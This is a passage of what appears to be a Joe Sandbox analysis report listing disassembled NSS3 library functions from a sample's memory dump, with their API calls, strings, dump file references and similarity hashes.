Function 6D05CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6D05CC7B), ref: 6D05CD7A

Part of subcall function 6D05CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CFCC1A8,?), ref: 6D05CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6D05CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6D05CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6D05CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6D05CD8E

Part of subcall function 6CF805C0: PR_EnterMonitor.NSS3 ref: 6CF805D1
Part of subcall function 6CF805C0: PR_ExitMonitor.NSS3 ref: 6CF805EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6D05CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6D05CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6D05CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6D05CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6D05CE48

Strings

wship6.dll, xrefs: 6D05CDE3
getaddrinfo, xrefs: 6D05CD88, 6D05CDF9
getnameinfo, xrefs: 6D05CDB2, 6D05CE23
freeaddrinfo, xrefs: 6D05CD9F, 6D05CE10
ws2_32.dll, xrefs: 6D05CD75

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: fec8fb98318aa58be1a5a603a046dfb2a5f9589463d84d8704a862b611f636f6
Instruction ID: 0c8cf742328ea6326312a2156b27d91908b54f530f3a86008cb855d388806420
Opcode Fuzzy Hash: fec8fb98318aa58be1a5a603a046dfb2a5f9589463d84d8704a862b611f636f6
Instruction Fuzzy Hash: 9611D6EAD1310262FB1157767D00BBE3AA89B1210CF480138EC0AD6681FB25C568C7FF

Function 6D0A1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6D0A13BC,?,?,?,6D0A1193), ref: 6D0A1C6B
PR_NewLock.NSS3(?,6D0A1193), ref: 6D0A1C7E

Part of subcall function 6D0598D0: calloc.MOZGLUE(00000001,00000084,6CF80936,00000001,?,6CF8102C), ref: 6D0598E5

PR_NewCondVar.NSS3(00000000,?,6D0A1193), ref: 6D0A1C91

Part of subcall function 6CF7BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CF821BC), ref: 6CF7BB8C

PR_NewCondVar.NSS3(00000000,?,?,6D0A1193), ref: 6D0A1CA7

Part of subcall function 6CF7BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF7BBEB
Part of subcall function 6CF7BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CF7BBFB
Part of subcall function 6CF7BB80: GetLastError.KERNEL32 ref: 6CF7BC03
Part of subcall function 6CF7BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CF7BC19
Part of subcall function 6CF7BB80: free.MOZGLUE(00000000), ref: 6CF7BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6D0A1193), ref: 6D0A1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6D0A1193), ref: 6D0A1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6D0A1193), ref: 6D0A1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6D0A1193), ref: 6D0A1D1A

Part of subcall function 6D059BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CF81A48), ref: 6D059BB3
Part of subcall function 6D059BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CF81A48), ref: 6D059BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6D0A1193), ref: 6D0A1D3D

Part of subcall function 6D03DD70: TlsGetValue.KERNEL32 ref: 6D03DD8C
Part of subcall function 6D03DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D03DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6D0A1193), ref: 6D0A1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6D0A1193), ref: 6D0A1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6D0A1193), ref: 6D0A1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6D0A1193), ref: 6D0A1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6D0A1193), ref: 6D0A1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6D0A1193), ref: 6D0A1D93
PR_DestroyLock.NSS3(00000000,?,?,6D0A1193), ref: 6D0A1D9F
free.MOZGLUE(00000000,?,6D0A1193), ref: 6D0A1DA8

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: bd76fce41abbf580b03650293e01ab8011d047addcd517b7c92b1d51a83b28d4
Instruction ID: d2f92a271215425b0891ce72d228f5e764a65198df0033dfb8bb2ff4676dd9c4
Opcode Fuzzy Hash: bd76fce41abbf580b03650293e01ab8011d047addcd517b7c92b1d51a83b28d4
Instruction Fuzzy Hash: F931A7F5D007015BF7219F65AC41B677AF4AF16618F084839E94A87742FB31E518CBA3

Function 6CFF5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CFF5EC0,00000000,?,?), ref: 6CFF5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CFF5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CFF5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CFF5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CFF5EC0,00000000,?,?), ref: 6CFF5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CFF5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CFF5D80

Strings

sql:, xrefs: 6CFF5CD1, 6CFF5D36
dbm:, xrefs: 6CFF5D03, 6CFF5D60
multiaccess:, xrefs: 6CFF5CB8
extern:, xrefs: 6CFF5CEA, 6CFF5D4B
NSS_DEFAULT_DB_TYPE, xrefs: 6CFF5D1A

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 63fba2d6565114e25152a13467b1864bae8ae9e3dbf63dd9ad3b69bee9313069
Instruction ID: 9f35dadcd669fc0665ab77cba952eedd1d2907248d8cd24489384b539f1d74e7
Opcode Fuzzy Hash: 63fba2d6565114e25152a13467b1864bae8ae9e3dbf63dd9ad3b69bee9313069
Instruction Fuzzy Hash: AA31D4E1A473416BF7600B249C4DB7B3768EF02748F144031EE7AA6792E7A2D913C6B5

Function 6CFF6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6D0C1DE0,?), ref: 6CFF6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFF6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CFF6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CFF6D82
DER_GetInteger_Util.NSS3(?), ref: 6CFF6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFF6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CFF6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CFF6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CFF6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CFF6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CFF7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CFF7033
free.MOZGLUE(?), ref: 6CFF703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CFF7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CFF7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CFF70AF

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: ca937ee8af8f9810345d5fd0e2d0d682b95ec550476d3eec1bbd13f17f3787ca
Instruction ID: 669f7ef0c87fe0e14777232ce91f4aca121c7e95136bee91d48a4cb7ace3178d
Opcode Fuzzy Hash: ca937ee8af8f9810345d5fd0e2d0d682b95ec550476d3eec1bbd13f17f3787ca
Instruction Fuzzy Hash: C7A1F5729182019BFB008B24DC85B9B72A5DB8131CF244939F938DBBA1FF75D8468793

Function 6CFBAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CF9AB95,00000000,?,00000000,00000000,00000000), ref: 6CFBAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CF9AB95,00000000,?,00000000,00000000,00000000), ref: 6CFBAF39
PR_Unlock.NSS3(?,?,?,6CF9AB95,00000000,?,00000000,00000000,00000000), ref: 6CFBAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CF9AB95,00000000,?,00000000,00000000,00000000), ref: 6CFBAF69
TlsGetValue.KERNEL32 ref: 6CFBB06B
EnterCriticalSection.KERNEL32(?), ref: 6CFBB083
PR_Unlock.NSS3(?), ref: 6CFBB0A4
TlsGetValue.KERNEL32 ref: 6CFBB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CFBB0D9
PR_Unlock.NSS3 ref: 6CFBB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFBB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFBB182

Part of subcall function 6CFEFAB0: free.MOZGLUE(?,-00000001,?,?,6CF8F673,00000000,00000000), ref: 6CFEFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CFBB177

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CF9AB95,00000000,?,00000000,00000000,00000000), ref: 6CFBB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CF9AB95,00000000,?,00000000,00000000,00000000), ref: 6CFBB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CF9AB95,00000000,?,00000000,00000000,00000000), ref: 6CFBB1C2

Part of subcall function 6CFE1560: TlsGetValue.KERNEL32(00000000,?,6CFB0844,?), ref: 6CFE157A
Part of subcall function 6CFE1560: EnterCriticalSection.KERNEL32(?,?,?,6CFB0844,?), ref: 6CFE158F
Part of subcall function 6CFE1560: PR_Unlock.NSS3(?,?,?,?,6CFB0844,?), ref: 6CFE15B2

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: a772a79cdf2b06c2a7c6c66ebe6f848b3072c164049093ba8cf42a5bf351225b
Instruction ID: 75bd1157194a76aaaed1c9ed7b280362f31ae32f17127f1fb21b7a313ccc8f44
Opcode Fuzzy Hash: a772a79cdf2b06c2a7c6c66ebe6f848b3072c164049093ba8cf42a5bf351225b
Instruction Fuzzy Hash: 93A1B3B1D002069FEF009FA5DC81BEEBBB4EF44308F154525ED09A7651E731E955CBA1

Function 6D00AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D00ADB1

Part of subcall function 6CFEBE30: SECOID_FindOID_Util.NSS3(6CFA311B,00000000,?,6CFA311B,?), ref: 6CFEBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6D00ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6D00AE08

Part of subcall function 6CFEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0C18D0,?), ref: 6CFEB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D00AE25
PL_FreeArenaPool.NSS3 ref: 6D00AE63
PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6D00AE4D

Part of subcall function 6CF14C70: TlsGetValue.KERNEL32(?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14C97
Part of subcall function 6CF14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14CB0
Part of subcall function 6CF14C70: PR_Unlock.NSS3(?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D00AE93
PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6D00AECC
PL_FreeArenaPool.NSS3 ref: 6D00AEDE
PL_FinishArenaPool.NSS3 ref: 6D00AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D00AEF5
PL_FinishArenaPool.NSS3 ref: 6D00AF16

Strings

security, xrefs: 6D00ADEE

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: cea5bca7c48ad27c4e91b8adb37e8f748cc513e8a026e8665f2d0ad9b0e1047d
Instruction ID: 05f15277db7dcbf4f8f799c604512c0521bd12eda747b3ca10600cb9ef78b6f0
Opcode Fuzzy Hash: cea5bca7c48ad27c4e91b8adb37e8f748cc513e8a026e8665f2d0ad9b0e1047d
Instruction Fuzzy Hash: 1D4123B6804341B7F7219B249C44FBF32E8AF86318F600525EA1493791FB359A09C7E3

Function 6D0AAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6D059890: TlsGetValue.KERNEL32(?,?,?,6D0597EB), ref: 6D05989E

EnterCriticalSection.KERNEL32(?), ref: 6D0AAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6D0AAFCE
PR_SetPollableEvent.NSS3(?), ref: 6D0AAFD9
EnterCriticalSection.KERNEL32(?), ref: 6D0AAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6D0AB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6D0AB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6D0AB070
PR_JoinThread.NSS3(?), ref: 6D0AB07B
free.MOZGLUE(?), ref: 6D0AB084
EnterCriticalSection.KERNEL32(?), ref: 6D0AB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6D0AB0C4
PR_JoinThread.NSS3(?), ref: 6D0AB0F3
free.MOZGLUE(?), ref: 6D0AB0FC
PR_JoinThread.NSS3(?), ref: 6D0AB137
free.MOZGLUE(?), ref: 6D0AB140

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: e7febfc940eacde5c05e9654c6cd938df0d463d4f4c1c1eb5a71b9759578f597
Instruction ID: 64079a64c3f8c323735624e666921c0417ed9ca64e14565545ad6b2ced96816a
Opcode Fuzzy Hash: e7febfc940eacde5c05e9654c6cd938df0d463d4f4c1c1eb5a71b9759578f597
Instruction Fuzzy Hash: 7F9180B5900605DFDB04CF54D880A6ABBF1FF4931872A85A9D91A5B722E732FC55CF80

Function 6D025CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6D022BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6D022A28,00000060,00000001), ref: 6D022BF0
Part of subcall function 6D022BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6D022A28,00000060,00000001), ref: 6D022C07
Part of subcall function 6D022BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6D022A28,00000060,00000001), ref: 6D022C1E
Part of subcall function 6D022BE0: free.MOZGLUE(?,00000000,00000000,?,6D022A28,00000060,00000001), ref: 6D022C4A

free.MOZGLUE(?,?,6D02AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025D0F
free.MOZGLUE(?,?,?,6D02AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025D4E
free.MOZGLUE(?,?,?,6D02AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025D62
free.MOZGLUE(?,?,?,?,6D02AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025D85
free.MOZGLUE(?,?,?,?,6D02AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025D99
free.MOZGLUE(?,?,?,?,6D02AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6D02AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6D02AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6D025E3E
free.MOZGLUE(?,?,?,?,?,?,6D02AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6D025E47
free.MOZGLUE(?,?,?,?,6D02AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0280C1), ref: 6D025E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6D02AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6D025E78
free.MOZGLUE(?,?,?,?,?,?,?,6D02AAD4), ref: 6D025EB9
free.MOZGLUE(?,?,?,?,?,?,?,6D02AAD4), ref: 6D025EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6D02AAD4), ref: 6D025F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6D02AAD4), ref: 6D025F4B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: b2084ccd9ee3113bc6fbe399a92262bad5dbd782eed95973b33d411774687c13
Instruction ID: ae012436c20ea4cb05b8ffe9a26d6a648c654ebaf197239434e3352830d3a74e
Opcode Fuzzy Hash: b2084ccd9ee3113bc6fbe399a92262bad5dbd782eed95973b33d411774687c13
Instruction Fuzzy Hash: B37171B9A00B019FE711CF24D888BA2B7F5BF89308F148529D86E87711E732F955CB55

Function 6CFA8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CFA8E22
EnterCriticalSection.KERNEL32(?), ref: 6CFA8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CFA8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CFA8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CFA8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CFA8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CFA8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CFA8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CFA8F00
free.MOZGLUE(?), ref: 6CFA8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CFA8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CFA8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CFA8F5B
PR_Unlock.NSS3(?), ref: 6CFA8F72
PR_Unlock.NSS3(?), ref: 6CFA8F82

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 86142da1a8af354b7628898b7b30e20f126c9ee2caf49099bd4e8154886bcf2b
Instruction ID: e3333b77f8757175cca35b16428ff12ebd278083d2460c413f19acb6bbc8b9c2
Opcode Fuzzy Hash: 86142da1a8af354b7628898b7b30e20f126c9ee2caf49099bd4e8154886bcf2b
Instruction Fuzzy Hash: E051E4B2E00211DFE7008FA8CC84A6EFBB9EF45758B194129E8089B700E771ED4287E1

Function 6CFCCE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CFCCE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CFCCEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CFCCED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CFCCEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CFCCF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CFCCF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CFCCF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CFCCF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CFCCF86
